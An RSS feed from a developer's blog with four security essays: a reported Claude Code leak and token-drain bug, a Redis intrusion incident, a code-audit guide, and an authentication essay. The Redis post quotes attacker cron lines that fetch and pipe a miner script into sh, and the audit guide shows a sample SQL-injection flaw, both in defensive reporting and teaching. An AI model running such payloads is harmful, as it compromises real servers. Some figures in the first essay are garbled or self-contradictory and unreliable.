<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Security — Lakshmi Narasimhan</title><link>https://lakshminp.com/tags/security/</link><description>I help developers build, deploy, and distribute their SaaS without hiring a team. Long-running notes on systems, AI internals, Carnatic music, fiction craft, and whatever else collides interestingly.</description><generator>Hugo + lakshminp theme</generator><language>en-us</language><lastBuildDate>Thu, 02 Apr 2026 00:00:00 +0000</lastBuildDate><managingEditor>Lakshmi Narasimhan</managingEditor><webMaster>Lakshmi Narasimhan</webMaster><copyright>© 2026 Lakshmi Narasimhan</copyright><atom:link href="https://lakshminp.com/tags/security/feed.xml" rel="self" type="application/rss+xml"/><item><title>The Claude Code Leak Revealed a Token Drain Bug. The Real Problem Is Bigger.</title><link>https://lakshminp.com/2026/04/claude-code-leaked-source-code-token-drain-ai-subsidy/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/claude-code-leaked-source-code-token-drain-ai-subsidy/</guid><category>essays</category><category>claude-code</category><category>security</category><description>Follow-up to: Anthropic Is Losing Money on You Every Month. What Are You Shipping?
Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.
I was right about the thesis. I was wrong about the timeline.
The window isn’t closing in 18-24 months. It’s closing now.
What Changed in Three Weeks Three things happened in rapid succession that accelerated the timeline:</description><content:encoded><![CDATA[<p><em>Follow-up to: <a href="https://lakshminp.com/p/ai-subsidy-window-developers" class="lnp-link">Anthropic Is Losing Money on You Every Month. What Are You Shipping?</a></em></p>
<p>Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.</p>
<p>I was right about the thesis. I was wrong about the timeline.</p>
<p>The window isn’t closing in 18-24 months. It’s closing now.</p>
<h1 id="what-changed-in-three-weeks"><strong>What Changed in Three Weeks</strong></h1>
<p>Three things happened in rapid succession that accelerated the timeline:</p>
<p><strong>1. Claude subscriptions doubled.</strong> Anthropic’s paid user base went from ~30k to ~60k subscribers between January and March 2026. Record growth. The Claude Code launch, Super Bowl buzz, and Cowork tools drove a wave of new signups.</p>
<p><strong>2. Rate limits got brutal.</strong> Users on r/ClaudeAI went from “this is amazing” to “I can’t work” practically overnight. Pro users ($20/month) report hitting 10% of their daily quota from a single prompt. Max users ($100-200/month) report the same degradation. One Max 20x subscriber — paying $200/month — couldn’t work for nine consecutive days.</p>
<p><strong>3. The source code leaked.</strong> On March 31, 2026, a 59.8 MB source map file was accidentally shipped in the Claude Code npm package. 512,000 lines of TypeScript, mirrored across GitHub within hours. And buried in that code was proof of something users had been complaining about for weeks.</p>
<h1 id="the-token-drain-bug"><strong>The Token Drain Bug</strong></h1>
<p>Here’s what the leak revealed.</p>
<p>Claude Code has a function called <code>db8</code> that filters what gets saved to session files. For non-Anthropic users, it strips out all attachment-type messages — including <code>deferred_tools_delta</code> records that track which tools the model already knows about.</p>
<p>When you resume a session, Claude Code scans your history to figure out what tools it already announced. But because <code>db8</code> nuked those records, it finds nothing. So it re-announces every deferred tool from scratch. Every. Single. Resume.</p>
<p>This breaks prompt caching in three ways:</p>
<ul>
<li>
<p>System reminders shift positions in the message array</p>
</li>
<li>
<p>The billing hash changes because the first message content differs</p>
</li>
<li>
<p>The cache breakpoint moves because the array length is different</p>
</li>
</ul>
<p>Result: your entire conversation rebuilds as <code>cache_creation</code> tokens instead of hitting <code>cache_read</code>. The longer the conversation, the worse the drain.</p>
<p>One user patched the two-line fix and posted it. His 5-hour usage dropped from spiralling out of control to 6% — normal levels. The post got 367 upvotes. A sharp commenter noted the patch also bypasses billing controls on cache TTL, which makes it not just a bug fix, but let’s set that aside.</p>
<p>Here’s the uncomfortable part: this bug was burning tokens silently for weeks. Users were complaining about rate limits. Anthropic’s status page showed “no incidents.” And the actual cause was a caching bug in their own client code.</p>
<h1 id="the-math-doesnt-work"><strong>The Math Doesn’t Work</strong></h1>
<p>Let’s do the numbers.</p>
<p>Anthropic’s annualized revenue is roughly $14 billion. Claude Code alone accounts for $2.5 billion of that run rate — up from $500 million just three months earlier. Consumer subscriptions generated about $1.2 billion in 2025, with 1,000%+ year-over-year growth.</p>
<p>Sounds great, right? Until you look at the other side of the ledger.</p>
<p>Anthropic burned approximately $5.2 billion in 2025. They’ve committed over $80 billion in cloud infrastructure costs through 2029. They just raised $30 billion in a Series G at a $380 billion valuation — the second-largest private tech financing ever, behind only OpenAI.</p>
<p>They’re buying compute at a staggering scale: 1 million Google TPUv7 chips (~$52 billion deal), a dedicated 1,200-acre AWS data center campus in Indiana ($11 billion), and a $50 billion deal with Fluidstack for facilities in Texas and New York. Total committed compute: over 2 gigawatts.</p>
<p>All of this is funded by venture capital and strategic investors (Amazon’s $8B+, Google’s $3B+). Not by your $20/month Pro subscription.</p>
<p>Anthropic projects positive free cash flow by 2027-2028. That’s the plan. But plans require the revenue to actually materialize, the compute to come online in time, and the unit economics to hold as usage scales.</p>
<p>Right now, 60,000 subscribers are overwhelming the existing infrastructure so badly that paying customers can’t work.</p>
<h1 id="the-subsidy-is-collapsing-under-its-own-success"><strong>The Subsidy Is Collapsing Under Its Own Success</strong></h1>
<p>Here’s the dynamic I didn’t fully appreciate three weeks ago.</p>
<p>The subsidy doesn’t end with a price increase. It ends with degradation.</p>
<p>Anthropic can’t raise prices on Pro from 20to20<em>to</em>50 tomorrow — that would cause a revolt and hand users to OpenAI and Google. But they can let the service get worse at the current price. Tighter rate limits. More frequent throttling. Peak-hour queuing. Features that work “sometimes.”</p>
<p>This is exactly what’s happening.</p>
<p>The math is simple. Double the subscribers on the same compute = everyone gets half the capacity. As one Reddit user put it: “selling more seats on the same plane and wondering why legroom is shrinking.”</p>
<p>And Anthropic isn’t alone. Google slashed Gemini API free tier quotas by 50-92% overnight in December 2025. One developer went from 300M+ input tokens per week to hitting limits at less than 9M. OpenAI’s ChatGPT Pro at $200/month is the only major offering that effectively removes caps — but at ten times the price of a Pro subscription.</p>
<p>The pattern across the industry: subsidized tiers are getting squeezed. The compute costs are real. And the bill always comes due.</p>
<h1 id="why-im-not-hitting-limits-and-you-might-not-be-either"><strong>Why I’m Not Hitting Limits (And You Might Not Be Either)</strong></h1>
<p>Here’s a mystery. Despite all this chaos, I’ve barely noticed the rate limits. After reading the threads and the leaked source code, I think I know why.</p>
<p><strong>I almost never resume sessions.</strong> The biggest token drain fires on session resume. My workflow — fresh sessions, agent registration per session, structured <a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> — accidentally dodges this bug entirely.</p>
<p><strong>Surgical prompts.</strong> I don’t say “explore my codebase.” I say “read this file and fix this function.” My beads-based task tracking means every session has a specific objective. No wandering. No 94k-token “Explore” runs.</p>
<p><strong>Time zone arbitrage.</strong> IST puts my working hours outside US peak times. When r/ClaudeAI is screaming about rate limits at 2 PM Eastern, it’s midnight for me. I’m coding at 6 AM IST when San Francisco is asleep.</p>
<p><strong>Structured context.</strong> Between <a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>, <a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a>, and explicit file paths, Claude doesn’t need to discover my codebase. It already knows the layout. That’s 90% less indexing work.</p>
<p>This isn’t luck. It’s workflow design. But it reinforces the point from my original post: the subsidy rewards those who use it efficiently. Wasteful usage — open-ended exploration, resumed conversations, vague prompts — burns tokens at 10-50x the rate of focused work.</p>
<h1 id="what-this-means-for-you"><strong>What This Means For You</strong></h1>
<p>If you read my original post and thought you had 18-24 months — you might, on paper. Anthropic has the cash. They have the compute commitments. They project 70billioninrevenueby2028and70<em>billioninrevenueby</em>2028<em>and</em>17 billion in free cash flow.</p>
<p>But the experience of using the product is degrading right now. Not in 18 months. Now.</p>
<p>Here’s what actually matters:</p>
<p><strong>1. Ship before the experience degrades further.</strong> The window isn’t about pricing — it’s about capability per dollar. Today, $20/month gets you frontier model access that would have cost $500/month in API calls two years ago. That ratio is moving in the wrong direction as more users pile in.</p>
<p><strong>2. Optimize your workflow.</strong> Start fresh sessions. Use <a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> and <a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a>. Be specific in your prompts. Avoid “Explore” and open-ended commands. These aren’t just productivity tips — they’re rate limit survival strategies.</p>
<p><strong>3. Don’t build on the assumption of unlimited AI access.</strong> If your product or workflow requires constant frontier model access at current prices, you’re building on borrowed time. Build systems that work <em>with</em> AI but can degrade gracefully. Ship products that generate revenue independent of your development tools.</p>
<p><strong>4. The enterprise pivot is coming.</strong> Anthropic’s enterprise revenue is already 80% of total. They have 300,000+ business customers, with large accounts (&gt;$100K ARR) growing 7x year-over-year. Follow the money: consumer subscriptions are the loss leader. Enterprise is the business. When push comes to shove, enterprise gets the compute.</p>
<h1 id="the-real-lesson"><strong>The Real Lesson</strong></h1>
<p>The leaked source code is a metaphor for the entire AI subsidy era.</p>
<p>For weeks, users were burning through rate limits at impossible speeds. They blamed themselves (”skill issue”), they blamed Anthropic (”fix your limits”), they blamed the model (”Claude got dumber”). The actual cause was a two-line bug in a caching function that nobody could see because the code was proprietary.</p>
<p>That’s the subsidy in miniature. You’re using a product where you can’t see the internals, can’t predict the costs, and can’t control when the rules change. The value is extraordinary — right now. But you’re a guest in someone else’s infrastructure, running on someone else’s VC money, subject to someone else’s capacity planning.</p>
<p>The smartest move hasn’t changed since three weeks ago. Ship. Build durable assets — products, content, audiences, skills — while the arbitrage is still available.</p>
<p>But do it faster than you planned. The window isn’t closing in 18 months.</p>
<p>The glass is already cracking.</p>
]]></content:encoded></item><item><title>Your Redis Is Probably Naked Right Now</title><link>https://lakshminp.com/2026/02/redis-security-exposed/</link><pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/redis-security-exposed/</guid><category>essays</category><category>security</category><description>Last month I wrote about finding a cryptominer in a client’s Kubernetes cluster. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.
This month the cryptominer came for me.
Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.
My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.</description><content:encoded><![CDATA[<p>Last month I wrote about <a href="https://lakshminp.substack.com/p/i-found-a-cryptominer-in-my-clients" rel="external nofollow noopener" class="lnp-link">finding a cryptominer in a client’s Kubernetes cluster</a>. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.</p>
<p>This month the cryptominer came for <em>me</em>.</p>
<p>Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.</p>
<p>My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.</p>
<p>“Two minutes,” I told my wife. (Spoiler: It was not two minutes.)</p>
<h2 id="the-dumbest-thing-ive-done-in-20-years"><strong>The Dumbest Thing I’ve Done in 20 Years</strong></h2>
<p>I run a scheduling service — Celery task queue backed by Redis, deployed with Kamal on a Hetzner VPS. Standard solo dev stack. The kind of thing I literally help people set up.</p>
<p>Here’s the confession: Redis port 6379 was exposed to the public internet. No password. No authentication. For months.</p>
<p>I copied a deployment config. It worked. I shipped. I moved on to the next feature. Sound familiar?</p>
<p>An automated scanner found it. At 22:25 UTC, IP <code>46.19.137.194</code> sent a <code>SLAVEOF</code> command — telling my Redis to replicate from their command-and-control server. My Redis complied. For five seconds it went read-only, Celery workers started screaming, and the attacker planted two keys:</p>
<pre><code>backup1: */2 * * * * root curl -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh
backup3: */4 * * * * root curl -fsSL http://103.79.77.16/ep9TS2/ndt.sh | sh
</code></pre>
<p>Cryptominer installation scripts. Every two minutes. On my $12/month VPS.</p>
<p>The payloads never made it to crontab — the attack chain didn’t complete. But they were sitting in my Redis like loaded guns.</p>
<h2 id="the-twenty-minute-fix"><strong>The Twenty-Minute Fix</strong></h2>
<p>Remove the public port mapping. Add a password. Done.</p>
<pre><code># Before: come one, come all
redis:
  port: 6379
  cmd: redis-server --appendonly yes

# After: invitation only
redis:
  cmd: redis-server --appendonly yes --requirepass &lt;32-char-password&gt;
</code></pre>
<p>Then <code>ufw deny 6379/tcp</code>, block the attacker IPs, delete the malicious keys. Sentry goes quiet. Movie resumes.</p>
<p>Twenty minutes to fix. Thirty seconds to have prevented.</p>
<h2 id="the-pattern-i-keep-seeing"><strong>The Pattern I Keep Seeing</strong></h2>
<p>Here’s what gets me. Last month it was a client — Next.js RCE, CVSS 10, dependency they forgot to update. This month it’s me — a port mapping I forgot to question.</p>
<p>Neither attack was sophisticated. Both exploited the gap between “it works” and “it’s secure.” The gap that widens every time you’re shipping fast, solo, with three other things on your plate.</p>
<p>When you’re the entire engineering team, you’re also the entire security team. There’s no infra review. No SOC watching at 10 PM. It’s you, your monitoring, and whatever defaults you didn’t question.</p>
<p>I’ve been doing infrastructure for twenty years, and I still shipped an unauthenticated Redis to production. Because the config worked and I had features to build.</p>
<h2 id="this-is-why-im-building-vmkit"><strong>This Is Why I’m Building VMKit</strong></h2>
<p>Every time I deploy something to a VPS, I’m making fifty decisions that could go wrong. Port mappings. Firewall rules. Authentication. TLS. Container networking. Every one of them is a potential Saturday night incident.</p>
<p><a href="https://vmkit.dev/" rel="external nofollow noopener" class="lnp-link">VMKit</a> is my answer to this. Railway-like deployment experience on your own infrastructure — but with sane defaults baked in. No exposed ports unless you explicitly ask for them. Internal networking by default. The kind of guardrails that would have prevented this entire post from existing.</p>
<p>Because solo devs shouldn’t have to be security experts to deploy a Redis instance. The tooling should handle the boring, critical stuff so you can focus on the features that actually make money.</p>
<p>I’m building it because I keep shooting myself in the foot, and I’m tired of the limp.</p>
<h2 id="your-five-minute-audit"><strong>Your Five-Minute Audit</strong></h2>
<p>If you’re running Redis, PostgreSQL, MongoDB, or Elasticsearch on a VPS right now:</p>
<ol>
<li>
<p><code>docker compose config | grep -i port</code> — anything bound to <code>0.0.0.0</code>? Kill it unless it needs public access.</p>
</li>
<li>
<p><strong>Add authentication to everything.</strong> Redis doesn’t require a password by default. This is unhinged, but here we are.</p>
</li>
<li>
<p><strong>Set up Sentry or equivalent.</strong> Without error monitoring, I’d have a cryptominer running and a confused electricity bill.</p>
</li>
<li>
<p><code>ufw status</code><strong>.</strong> If the output surprises you, that’s your sign.</p>
</li>
<li>
<p><strong>Default deny.</strong> Allow only 22, 80, 443. Everything else is closed until you need it.</p>
</li>
</ol>
<p>The attacker didn’t use a zero-day. They used Shodan, an open port, and my negligence. That’s the most common attack vector for solo-deployed SaaS, and it’s entirely preventable.</p>
<p>Don’t be me on a Saturday night. Five minutes. Audit your configs.</p>
<p>Your future self — and your wife — will thank you.</p>
]]></content:encoded></item><item><title>How to Secure Your Vibe-Coded Project (Before It Secures You)</title><link>https://lakshminp.com/2025/10/how-to-secure-your-vibe-coded-project/</link><pubDate>Thu, 30 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/how-to-secure-your-vibe-coded-project/</guid><category>essays</category><category>security</category><description>Most developers ship AI-generated code without security audits. Here’s how to catch vulnerabilities before they become breaches—without hiring a security team.
You’re moving fast. AI is writing code. You’re shipping features daily. But speed creates blind spots—and security vulnerabilities love blind spots.
I’ve watched developers ship vibe-coded projects that worked but had SQL injection holes, exposed API keys, and broken authentication. Not because they were careless—because they were solo and didn’t have time to review every line AI generated.</description><content:encoded><![CDATA[<p>Most developers ship AI-generated code without security audits. Here&rsquo;s how to catch vulnerabilities before
they become breaches—without hiring a security team.</p>
<p>You&rsquo;re moving fast. AI is writing code. You&rsquo;re shipping features daily. But speed creates blind spots—and
security vulnerabilities love blind spots.</p>
<p>I&rsquo;ve watched developers ship vibe-coded projects that <em>worked</em> but had SQL injection holes, exposed
API keys, and broken authentication. Not because they were careless—because they were solo and didn&rsquo;t have
time to review every line AI generated.</p>
<p><strong>Here&rsquo;s the truth: you can&rsquo;t manually audit everything. But you can automate the audit.</strong></p>
<h2 id="why-incremental-reviews-arent-enough">Why Incremental Reviews Aren&rsquo;t Enough</h2>
<p>Tools like <code>/security-review</code> catch issues in pull requests. That&rsquo;s great for new code. But what
about legacy code? Configurations that haven&rsquo;t been touched in months? Dependencies with known CVEs?</p>
<p>Incremental reviews are daily vitamins. Full audits are annual physicals. You need both.</p>
<h2 id="what-a-security-audit-should-cover">What a Security Audit Should Cover</h2>
<p>A comprehensive security audit doesn&rsquo;t just scan for SQL injection. It evaluates your entire attack surface
against industry-standard frameworks:</p>
<ul>
<li><strong>OWASP Top 10 2021</strong> — Broken access control, cryptographic failures, injection attacks</li>
<li><strong>OWASP API Security Top 10 2023</strong> — Broken object-level authorization, mass assignment, security misconfigurations</li>
<li><strong>Cloud &amp; Infrastructure Security</strong> — Misconfigured S3 buckets, exposed environment variables, weak IAM policies</li>
<li><strong>Supply Chain Security</strong> — Vulnerable dependencies, outdated packages, insecure third-party integrations</li>
</ul>
<h2 id="the-four-layers-of-a-proper-audit">The Four Layers of a Proper Audit</h2>
<h3 id="1-reconnaissance-understanding-your-stack">1. Reconnaissance: Understanding Your Stack</h3>
<p>Before auditing, the tool needs to know what you&rsquo;re running: Node.js? Python? Docker? Postgres or MongoDB?
Framework: Express, FastAPI, Next.js?</p>
<p>This determines which vulnerability patterns to look for. SQL injection matters in Postgres apps. NoSQL injection
matters in MongoDB apps. Different stacks, different attack vectors.</p>
<h3 id="2-code-analysis-finding-hidden-vulnerabilities">2. Code Analysis: Finding Hidden Vulnerabilities</h3>
<p>This is where the audit scans every file—not just recent changes—looking for patterns that indicate security issues:</p>
<ul>
<li>User input flowing directly into database queries (SQL/NoSQL injection risk)</li>
<li>Hardcoded secrets or credentials in code</li>
<li>Missing authentication checks on sensitive endpoints</li>
<li>Weak cryptography (MD5, SHA1) for passwords or tokens</li>
<li>Overly permissive CORS policies</li>
<li>Exposed debug endpoints in production</li>
</ul>
<div class="lnp-codeblock">
  <div class="lnp-codeblock-head">
    <span>javascript</span>
    <button type="button" class="lnp-codeblock-copy" data-copy aria-label="Copy code">Copy</button>
  </div>
  <div class="highlight" unsafe="4" fixed="10"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// BAD: SQL injection vulnerability
</span></span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/user&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">userId</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span>
</span></span><span class="line hl is-unsafe"><span class="cl">  <span class="nx">db</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span><span class="sb">`SELECT * FROM users WHERE id = </span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span> <span class="c1">// Dangerous!
</span></span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// GOOD: Parameterized query
</span></span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/user&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">userId</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span>
</span></span><span class="line hl is-fixed"><span class="cl">  <span class="nx">db</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span><span class="s1">&#39;SELECT * FROM users WHERE id = ?&#39;</span><span class="p">,</span> <span class="p">[</span><span class="nx">userId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span></span></span></code></pre></div>
</div>
<h3 id="3-configuration-review-infrastructure-security">3. Configuration Review: Infrastructure Security</h3>
<p>Code vulnerabilities are obvious. Configuration vulnerabilities are subtle:</p>
<ul>
<li>Are environment variables properly isolated?</li>
<li>Do Docker containers run as root? (They shouldn&rsquo;t.)</li>
<li>Are cloud storage buckets publicly accessible?</li>
<li>Is TLS enforced on all endpoints?</li>
<li>Are rate limits configured to prevent abuse?</li>
</ul>
<p>These issues don&rsquo;t show up in code reviews. They live in config files, environment variables, and infrastructure settings.</p>
<h3 id="4-dependency-scanning-supply-chain-vulnerabilities">4. Dependency Scanning: Supply Chain Vulnerabilities</h3>
<p>Your code might be secure, but your dependencies might not be. Audit tools scan <code>package.json</code>,
<code>requirements.txt</code>, and <code>go.mod</code> against databases of known CVEs (Common Vulnerabilities and Exposures).</p>
<p>If a package has a critical security flaw, you&rsquo;ll know—and you&rsquo;ll get specific remediation guidance (upgrade to version X.Y.Z).</p>
<h2 id="how-to-run-an-effective-security-audit">How to Run an Effective Security Audit</h2>
<p>If you&rsquo;re using Claude Code, you can install a <code>/security-audit</code> slash command that automates this entire process.
It performs reconnaissance, analyzes every file, reviews configurations, and scans dependencies—generating an actionable report.</p>
<p>The key difference from incremental reviews: <strong>it catches everything</strong>—even vulnerabilities in code you wrote
months ago and haven&rsquo;t touched since.</p>
<h3 id="installation">Installation</h3>
<p>Global installation (available across all projects):</p>
<div class="lnp-codeblock">
  <div class="lnp-codeblock-head">
    <span>bash</span>
    <button type="button" class="lnp-codeblock-copy" data-copy aria-label="Copy code">Copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p ~/.claude/commands
</span></span><span class="line"><span class="cl">curl -o ~/.claude/commands/security-audit.md https://example.com/security-audit.md</span></span></code></pre></div>
</div>
<p>Project-specific installation (for team collaboration):</p>
<div class="lnp-codeblock">
  <div class="lnp-codeblock-head">
    <span>bash</span>
    <button type="button" class="lnp-codeblock-copy" data-copy aria-label="Copy code">Copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p .claude/commands
</span></span><span class="line"><span class="cl">curl -o .claude/commands/security-audit.md https://example.com/security-audit.md</span></span></code></pre></div>
</div>
<h3 id="running-the-audit">Running the Audit</h3>
<p>From Claude Code, type:</p>
<div class="lnp-codeblock">
  <div class="lnp-codeblock-head">
    <span>bash</span>
    <button type="button" class="lnp-codeblock-copy" data-copy aria-label="Copy code">Copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/security-audit</span></span></code></pre></div>
</div>
<p>The tool will:</p>
<ol>
<li>Identify your tech stack</li>
<li>Scan every file for vulnerability patterns</li>
<li>Review configurations (Docker, env files, cloud settings)</li>
<li>Check dependencies against CVE databases</li>
<li>Generate a prioritized report with specific remediation steps</li>
</ol>
<h2 id="when-to-audit">When to Audit</h2>
<p><strong>Use <code>/security-review</code> during daily development</strong> for fast feedback on pull requests.</p>
<p><strong>Use <code>/security-audit</code> monthly or quarterly</strong> for comprehensive assessment—especially before major releases
or when adding new features that touch sensitive data.</p>
<p>Think of them as complementary: one catches new issues, the other catches everything.</p>
<h2 id="the-20-that-prevents-80-of-breaches">The 20% That Prevents 80% of Breaches</h2>
<p>Most security incidents aren&rsquo;t sophisticated zero-days. They&rsquo;re basic misconfigurations: exposed API keys, missing authentication,
unpatched dependencies.</p>
<p>A security audit catches these low-hanging issues—the 20% of configs that prevent 80% of breaches. You&rsquo;re not trying to build
Fort Knox. You&rsquo;re trying to avoid being the easy target.</p>
<h2 id="security-is-a-discipline-not-a-feature">Security is a Discipline, Not a Feature</h2>
<p>When you&rsquo;re running solo, security feels like something you&rsquo;ll &ldquo;get to later.&rdquo; But later turns into never—until something breaks.</p>
<p><strong>Automate the audit. Run it regularly. Fix what it finds.</strong></p>
<p>You don&rsquo;t need a security team. You need visibility into what&rsquo;s broken and specific guidance on how to fix it. That&rsquo;s what a
proper security audit provides.</p>
<p>Because the best time to find vulnerabilities is before attackers do.</p>
]]></content:encoded></item><item><title>Don’t Build the Login Box</title><link>https://lakshminp.com/2025/10/dont-build-the-login-box/</link><pubDate>Wed, 01 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/dont-build-the-login-box/</guid><category>essays</category><category>security</category><description>Here’s a fun exercise:
Build your own user authentication from scratch. You’ll need:
Signup forms
Login forms
Password hashing (securely!)
Email verification flows
Forgot password + reset logic
Session management
CSRF protection
OAuth integrations (for when someone wants Google login)
Rate limiting, logging, bot protection…
Fun yet? Probably not.
Now do all of that correctly. With zero bugs. And keep it updated for the next 5 years.
Still want to build it?</description><content:encoded><![CDATA[<p><strong>Here’s a fun exercise:</strong></p>
<p>Build your own user authentication from scratch. You’ll need:</p>
<ul>
<li>
<p>Signup forms</p>
</li>
<li>
<p>Login forms</p>
</li>
<li>
<p>Password hashing (securely!)</p>
</li>
<li>
<p>Email verification flows</p>
</li>
<li>
<p>Forgot password + reset logic</p>
</li>
<li>
<p>Session management</p>
</li>
<li>
<p>CSRF protection</p>
</li>
<li>
<p>OAuth integrations (for when someone wants Google login)</p>
</li>
<li>
<p>Rate limiting, logging, bot protection&hellip;</p>
</li>
</ul>
<p>Fun yet? Probably not.</p>
<p>Now do all of that <em>correctly</em>. With zero bugs. And keep it updated for the next 5 years.</p>
<p>Still want to build it?</p>
<p><strong>Auth Is a Trap for Smart Developers</strong></p>
<p>It <em>feels</em> simple. A form, a database, a session cookie.</p>
<p>But auth is like an iceberg. Most of the complexity is invisible until it sinks your app.</p>
<p>You’re not just writing code. You’re handling identity, security, compliance, and user trust. All in a space where one misstep means leaked data or worse.</p>
<p><strong>Services Exist for a Reason</strong></p>
<p>There are entire companies (Auth0, Clerk, Supabase, WorkOS, Descope) dedicated to making auth usable and secure.</p>
<p>They’ve handled edge cases you haven’t even thought of. They obsess over MFA, token expiry, cookie flags, replay attacks. You just want users to log in.</p>
<p>So let them.</p>
<p><strong>But What About Control?</strong></p>
<p>If you need full control for regulatory or product reasons, sure — roll your own. But understand the cost.</p>
<p>It’s not just about writing code. It’s about:</p>
<ul>
<li>
<p>Maintaining that code</p>
</li>
<li>
<p>Auditing it</p>
</li>
<li>
<p>Scaling it</p>
</li>
<li>
<p>Keeping up with evolving best practices</p>
</li>
</ul>
<p>Most apps don’t need a custom auth system. They need <em>working auth</em>. Now.</p>
<p><strong>The Boring Stuff Should Just Work</strong></p>
<p>Building your own auth is like writing your own TLS implementation. It might be educational. It might even be fun. But it’s rarely the best use of your time.</p>
<p>Ship faster. Sleep better. Let someone else worry about the password reset flow.</p>
<p>Be the dev who ships products, not the one debugging cookie flags at 2am.</p>
<p>Unless you’re building the next Okta, stop building login boxes.</p>
]]></content:encoded></item></channel></rss>